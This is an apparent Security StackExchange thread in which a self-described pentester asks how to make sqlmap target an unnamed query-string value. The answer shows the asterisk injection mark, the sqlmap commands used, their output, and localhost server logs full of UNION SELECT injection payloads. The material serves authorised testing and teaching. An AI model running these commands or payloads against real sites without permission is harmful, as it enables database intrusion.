3

I'm pentesting a client's website but could not find a syntax to tell SQLMap that the variable it should test doesn't have an explicit name in the URL.

I've already tried the MVC method that says to use * (asterisk - did not work), but this is a little different. Instead of:

http://web.site/index/aksjdnas

it is in the form:

http://web.site/index.aspx?aksjdnas

with aksjdnas the value of the parameter, not the name of it. SQLMap keeps using it as the parameter name. Has anyone seen a solution to this problem?

Edit:

I really cannot understand why this question was put as off-topic as this is an "on-topic" question as stated in the help center - security tool and i'm not asking anyone to break anything for me.

I'm merely asking for help with syntax in a security tool. There are various other questions about this problem here on SE IS, and none of them has been closed. I've started a new question because the solution proposed there hasn't worked for me, as there are some differences in the url format.

3
  • Using an asterisk is the correct approach for this. I tend to save the whole request to a file and using the -r flag in this case.
    – wireghoul
    Commented Feb 19, 2015 at 22:43
  • Using the asterisk hasn't worked. It keeps assigning a value to the parameter value. Commented Feb 20, 2015 at 13:40
  • In your case it cannot be the value of a parameter as it's not assigned a parameter name unless done via a rewrite rule. It may be used through an environment variable such as $QUERYSTRING, however, either case works as shown in the example below.
    – wireghoul
    Commented Feb 24, 2015 at 6:42

1 Answer 1

1

Confirmed that it works as intended with an asterisk, using the sqlmap from Backtrack 5r2, but should behave the same with Kali. The following example doesn't work as I'm running it against a static html file, but it shows the injections occuring at the correct place.

First I saved the request to a file and added the asterisk:

root@bt:/pentest/database/sqlmap# cat trq 
GET /?arg1*=test123 HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0

Next, invoke sqlmap with the -r parameter:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -r trq

    sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:30:27

[01:30:27] [INFO] parsing HTTP request from 'trq'
custom injection mark ('*') found in '-u'. Do you want to process it? [Y/n/q] Y

[01:30:32] [INFO] testing connection to the target url
[01:30:33] [INFO] heuristics detected web page charset 'ascii'
[01:30:33] [INFO] testing if the url is stable, wait a few seconds
[01:30:34] [INFO] url is stable
[01:30:34] [INFO] testing if URI parameter '#1*' is dynamic
[01:30:34] [WARNING] URI parameter '#1*' appears to be not dynamic
[01:30:34] [WARNING] heuristic test shows that URI parameter '#1*' might not be injectable
[01:30:34] [INFO] testing for SQL injection on URI parameter '#1*'
[01:30:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:30:34] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:30:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:30:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:30:35] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:30:35] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:30:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:30:35] [INFO] testing 'Oracle AND time-based blind'
[01:30:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:30:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:30:35] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using the --dbms option
[01:30:35] [WARNING] URI parameter '#1*' is not injectable
[01:30:35] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details

[*] shutting down at 01:30:35

Ok, looks like it tried some injections, lets confirm by looking at the web server log:

root@bt:/pentest/database/sqlmap# tail /var/log/apache2/access.log
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"

Log file confirms that the injection was placed where the asterisk was and not assigned to the parameter value.

Edit, addressing the specific example given: ./sqlmap.py -u 'http://localhost/test.php?argv2*' Also injects correctly in the log:

root@bt:/pentest/database/sqlmap# tail /var/log/apache2/access.log
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
1
  • hmm, now i get it. I should just remove the aksjdnas from the url, making it http://web.site/index.aspx?*... Commented Feb 24, 2015 at 15:23

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .